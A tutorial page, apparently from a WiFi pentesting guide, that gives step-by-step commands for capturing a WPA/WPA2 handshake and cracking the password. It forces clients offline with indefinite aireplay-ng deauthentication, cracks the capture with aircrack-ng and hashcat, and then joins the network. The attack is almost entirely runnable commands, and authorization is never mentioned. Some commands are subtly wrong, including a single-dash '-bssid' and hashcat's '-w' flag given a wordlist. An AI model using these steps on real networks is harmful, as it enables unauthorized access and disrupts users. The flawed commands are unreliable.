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  • Cracking WPA/WPA2 with Handshake Capture
  • Prerequisites
  • Step-by-Step Process
  1. Wireless Security
  2. Intro to WiFi Pentesting

WPA & WPA2 PSK

Cracking WPA/WPA2 with Handshake Capture

In this tutorial, we'll demonstrate how to crack WPA/WPA2 encrypted networks by capturing the 4-way handshake and then using tools like aircrack-ng and hashcat to crack the password.

Prerequisites

Ensure you have the following:

  • A wireless card that supports monitor mode.

  • The necessary tools: airmon-ng, airodump-ng, aireplay-ng, aircrack-ng, hashcat.

  • A wordlist (e.g., /usr/share/wordlists/rockyou.txt).

Step-by-Step Process

1. Start Interface in Monitor Mode and Kill Unwanted Services

Start by disabling any interfering processes and putting your wireless interface into monitor mode:

airmon-ng check kill && airmon-ng start wlan0

  • airmon-ng check kill: Stops interfering processes.

  • airmon-ng start wlan0: Puts the wireless interface wlan0 into monitor mode (wlan0mon).

2. Scan for Networks

Next, scan for nearby wireless networks to identify the one you want to target:

sudo airodump-ng wlan0mon

3. Scan on Specific AP and Channel with Output File

Once you've identified the target AP, run airodump-ng on the specific network to capture data:

sudo airodump-ng -bssid <BSSID> -c <Channel> -w <WPA1?> wlan0mon

  • <BSSID>: The MAC address of the target AP.

  • <Channel>: The channel number on which the AP is operating.

  • <WPA1?>: The name of the file where you want to save the captured data.

4. De-Authenticate Clients to Capture Handshake

In order to capture the 4-way handshake, de-authenticate a connected client using aireplay-ng:

# Remember, you can also refer to another section for deauthenticating all clients
sudo aireplay-ng -a <BSSID> -c <Client Mac> -0 0 wlan0mon

  • -a <BSSID>: The BSSID of the target AP.

  • -c <Client Mac>: The MAC address of a client connected to the AP.

  • -0 0: Sends deauthentication packets indefinitely until the handshake is captured.

5. Crack the WPA/WPA2 Key Using Aircrack-ng

Once the handshake is captured, use aircrack-ng to crack the password:

sudo aircrack-ng <output_file>.cap -e <ESSID>

  • <output_file>.cap: The capture file containing the handshake.

  • <ESSID>: The name (SSID) of the target network.

You can also use a wordlist for a more efficient brute-force attack:

sudo aircrack-ng <output_file>.cap -e <ESSID> -w /usr/share/wordlists/rockyou.txt

6. Crack the WPA/WPA2 Key Using Hashcat

Alternatively, you can use hashcat for cracking the WPA/WPA2 key. First, convert the .cap file to a hashcat-compatible format:

hcxpcapngtool -o <output_file>.hc22000 <output_file>.cap

  • <output_file>.cap: The original capture file.

  • <output_file>.hc22000: The converted hashcat file.

Next, run hashcat to crack the WPA/WPA2 key:

hashcat -m 22000 <output_file>.hc22000 -w /usr/share/wordlists/rockyou.txt

7. Conclusion

Once the password is cracked, you should have access to the network. Connecting to the Network:

wpa_supplicant -c <filename>.conf

<filename>.conf: The WPA configuration file containing network details.

Request IP from DHCP Server:

sudo dhclient wlan0 -v

By following these steps, you'll be able to crack the WPA/WPA2 password and gain access to the network.

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Last updated 2 months ago